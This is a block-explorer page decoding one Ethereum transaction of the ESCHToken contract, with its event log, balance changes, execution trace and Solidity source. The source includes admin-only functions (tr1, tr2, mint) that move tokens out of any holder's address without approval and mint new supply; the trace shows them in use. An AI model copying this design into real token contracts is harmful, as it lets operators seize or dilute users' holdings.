ETH Price: $2,427.73 (-2.67%)

Transaction Decoder

Block:
10837091 at Sep-10-2020 11:46:32 PM +UTC
Transaction Fee:
0.137316002959434432 ETH $333.37
Gas Used:
1,098,528 Gas / 125.000002694 Gwei

Emitted Events:

89 ESCHToken.Transfer( from=[Sender] 0x5605fdc62114a3ff2d240baf3d2e67b50b61ee32, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=100000000000000000000 )
90 ESCHToken.Transfer( from=0x0000000000000000000000000000000000000000, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=100000000000000000000 )
91 ESCHToken.Transfer( from=0x01Edb1F41f270b2636536fD3E02281e71D0CFdDB, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=3000000000000000000 )
92 ESCHToken.Transfer( from=0x3Afd52200AF34A6a8EC5741C0089D646AEf3fa4b, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
93 ESCHToken.Transfer( from=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
94 ESCHToken.Transfer( from=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
95 ESCHToken.Transfer( from=0x16A447EFb3ac106079c057D0dC669b8f17b28c77, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
96 ESCHToken.Transfer( from=0x284039a7D1aE056C2bd22348a4E15086D69a193c, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=200000000000000000 )
97 ESCHToken.Transfer( from=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, to=0x6b97783409232158A523678dA642b6ABB9353d94, value=25000000000000000000 )
98 ESCHToken.Transfer( from=0x6b97783409232158A523678dA642b6ABB9353d94, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=1000000000000000000 )
99 ESCHToken.Transfer( from=[Sender] 0x5605fdc62114a3ff2d240baf3d2e67b50b61ee32, to=[Receiver] 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06, value=35120000000000000000 )

Account State Difference:

  Address   Before After State Difference Code
0x01Edb1F4...71D0CFdDB 53.027914169380359128 Eth53.327914169380359128 Eth0.3
0x16A447EF...f17b28c77 65.023641457930394565 Eth65.043641457930394565 Eth0.02
0x284039a7...6D69a193c 67.562445633106358141 Eth67.582445633106358141 Eth0.02
0x3Afd5220...6AEf3fa4b 109.623072718365135867 Eth109.643072718365135867 Eth0.02
0x3C6C214b...2c9Ca9A06 6,416.3948 Eth6,422.1528 Eth5.758
0x3fFdCF27...316ccE70a 774.876309980695498 Eth775.076309980695498 Eth0.2
0x5605fdC6...50B61ee32
82.940455180260861245 Eth
Nonce: 408
76.315139177301426813 Eth
Nonce: 409
6.625316002959434432
0x6b977834...BB9353d94 9.822961896670121673 Eth9.922961896670121673 Eth0.1
(F2Pool Old)
6,626.205496557387251893 Eth6,626.342812560346686325 Eth0.137316002959434432
0xA821F14f...c90372453
0xB74441F8...f5d8d07B0 62.999986447247389473 Eth63.019986447247389473 Eth0.02
0xe1d01e8A...FCF20573d 17.706 Eth17.736 Eth0.03
0xfEe92A1f...B9A02A4f3 3.230103805010222243 Eth3.250103805010222243 Eth0.02

Execution Trace

ETH 10 0x3c6c214b016acfb51e7ce7c39069f352c9ca9a06.be328a44( )
  • ESCHToken.cxesch( _c1=0x5605fdC62114a3FF2d240BAF3d2e67b50B61ee32 ) => ( _j1=159775178929122213888 )
  • ESCHToken.tr1( _from=0x5605fdC62114a3FF2d240BAF3d2e67b50B61ee32, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=100000000000000000000 )
  • ESCHToken.tr2( _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=100000000000000000000 )
  • ETH 0.2 0x3ffdcf2760b30a1d05704643a503100316cce70a.CALL( )
  • ETH 0.03 0xe1d01e8a4eda80701912e7fbbe252d9fcf20573d.CALL( )
  • ESCHToken.cxesch( _c1=0x01Edb1F41f270b2636536fD3E02281e71D0CFdDB ) => ( _j1=105993002723009871872 )
  • ETH 0.3 0x01edb1f41f270b2636536fd3e02281e71d0cfddb.CALL( )
  • ESCHToken.tr1( _from=0x01Edb1F41f270b2636536fD3E02281e71D0CFdDB, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=3000000000000000000 )
  • ESCHToken.cxesch( _c1=0x3Afd52200AF34A6a8EC5741C0089D646AEf3fa4b ) => ( _j1=5193533696927259066368 )
  • ETH 0.02 0x3afd52200af34a6a8ec5741c0089d646aef3fa4b.CALL( )
  • ESCHToken.tr1( _from=0x3Afd52200AF34A6a8EC5741C0089D646AEf3fa4b, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3 ) => ( _j1=2705492282704378396672 )
  • ETH 0.02 0xfee92a1f4699c7062d24e1ef7b69f4ab9a02a4f3.CALL( )
  • ESCHToken.tr1( _from=0xfEe92A1f4699c7062d24e1Ef7B69f4aB9A02A4f3, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0 ) => ( _j1=2162307304302142619648 )
  • ETH 0.02 0xb74441f82d6ac8d8c59d5770be7a8d1f5d8d07b0.CALL( )
  • ESCHToken.tr1( _from=0xB74441F82D6AC8D8c59D5770bE7a8D1f5d8d07B0, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0x16A447EFb3ac106079c057D0dC669b8f17b28c77 ) => ( _j1=19023224808000000000000 )
  • ETH 0.02 0x16a447efb3ac106079c057d0dc669b8f17b28c77.CALL( )
  • ESCHToken.tr1( _from=0x16A447EFb3ac106079c057D0dC669b8f17b28c77, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0x284039a7D1aE056C2bd22348a4E15086D69a193c ) => ( _j1=7479558579101024731136 )
  • ETH 0.02 0x284039a7d1ae056c2bd22348a4e15086d69a193c.CALL( )
  • ESCHToken.tr1( _from=0x284039a7D1aE056C2bd22348a4E15086D69a193c, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=200000000000000000 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.cxesch( _c1=0x4469bfFbEEfa89f2D3f888c87f29EaD009a01D87 ) => ( _j1=2488411964878891319295 )
  • ESCHToken.tr1( _from=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _to=0x6b97783409232158A523678dA642b6ABB9353d94, _value=25000000000000000000 )
  • ETH 0.1 0x6b97783409232158a523678da642b6abb9353d94.CALL( )
  • ESCHToken.tr1( _from=0x6b97783409232158A523678dA642b6ABB9353d94, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=1000000000000000000 )
  • ETH 3.512 0x5605fdc62114a3ff2d240baf3d2e67b50b61ee32.CALL( )
  • ESCHToken.tr1( _from=0x5605fdC62114a3FF2d240BAF3d2e67b50B61ee32, _to=0x3C6C214b016aCFb51E7cE7c39069f352c9Ca9A06, _value=35120000000000000000 )
    pragma solidity 0.4.18;//20190809 
    ////////////
    contract ESCHToken  {
     string public constant name = "Esch$Token";
      string public constant symbol = "ESCH$";        
      uint8 public constant decimals = 18;
      uint256 public totalSupply;
      address  owner;
      uint32 hl=1000;
      address SysAd0; 
     
        mapping (address => uint256) public balanceOf;
     
        mapping (address => mapping (address => uint256)) public allowance;
    
        event Transfer(address indexed from, address indexed to, uint256 value);
        
        event Burn(address indexed from, uint256 value);
     
        mapping (address => bool) admin;
    
     
       function ESCHToken () public {
          totalSupply = 10200000 ether;                          // Update total supply
          balanceOf[msg.sender] = totalSupply;
    	  owner = msg.sender;                             //  
    	  admin[owner]=true;
     //	  hl=1000;
        }
    
        function transfer(address _from, address _to, uint _value) internal {
            require(_to != 0x0);
            require(balanceOf[_from] >= _value);
            require(balanceOf[_to] + _value > balanceOf[_to]);
            uint previousBalances = balanceOf[_from] + balanceOf[_to];
            balanceOf[_from] -= _value;
            balanceOf[_to] += _value;
            Transfer(_from, _to, _value);
            assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
        }
    
        function transfer(address _to, uint256 _value) public {
            transfer(msg.sender, _to, _value);
        }
    
        function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
            require(_value <= allowance[_from][msg.sender]);     // Check allowance
            allowance[_from][msg.sender] -= _value;
            transfer(_from, _to, _value);
            return true;
        }
    
        function approve(address _spender, uint256 _value) public
            returns (bool success) {
            allowance[msg.sender][_spender] = _value;
            return true;
        }
    
    
        function burn(uint256 _value) public returns (bool success) {
            require(balanceOf[msg.sender] >= _value);
            balanceOf[msg.sender] -= _value;
            totalSupply -= _value;
            Burn(msg.sender, _value);
            return true;
        }
    
        function burnFrom(address _from, uint256 _value) public returns (bool success) {
            require(balanceOf[_from] >= _value);
            require(_value <= allowance[_from][msg.sender]);
            balanceOf[_from] -= _value;
            allowance[_from][msg.sender] -= _value;
            totalSupply -= _value;
            Burn(_from, _value);
            return true;
        }
     
        function setadmin (address _admin) public {
        require(admin[msg.sender]==true);
        admin[_admin]=true;
       }
    
     
        function mint(address _ad,uint256 _sl) public  {    
        require(admin[msg.sender]==true);
        balanceOf[_ad]+= _sl;
           totalSupply+= _sl;
            Transfer(0, _ad, _sl);
        }
    
     
        function cxesch (address _c1) public view returns(uint256 _j1){
            return( balanceOf[_c1]);
        }
    
        function SetAw0(address _adA0) public {
        assert(admin[msg.sender]==true);   
        SysAd0=_adA0;
        }   
    
        function hl0(uint32 _hl) public {
        assert(admin[msg.sender]==true);   
        hl=_hl;
        }       
      ///////////
    
        function gm() public payable {
        require (balanceOf[SysAd0]>=hl*msg.value);    
        require (msg.value>=0.1 ether);
        transfer(SysAd0, msg.sender, hl*msg.value);
        SysAd0.transfer(msg.value);
        }
         //
          function tr1(address _from, address _to, uint _value) public {
             assert(admin[msg.sender]==true);    
            require(_to != 0x0);
            require(balanceOf[_from] >= _value);
            require(balanceOf[_to] + _value > balanceOf[_to]);
            uint pre1 = balanceOf[_from] + balanceOf[_to];
            balanceOf[_from] -= _value;
            balanceOf[_to] += _value;
            Transfer(_from, _to, _value);
            assert(balanceOf[_from] + balanceOf[_to] == pre1);
        } 
        //
           function tr2(address _to, uint _value) public {
            assert(admin[msg.sender]==true);  
            require (totalSupply<100000000 ether); 
            require(balanceOf[_to] + _value > balanceOf[_to]);
            totalSupply +=_value;
            balanceOf[_to] += _value;
            Transfer(0, _to, _value);
        }   
        
     
    }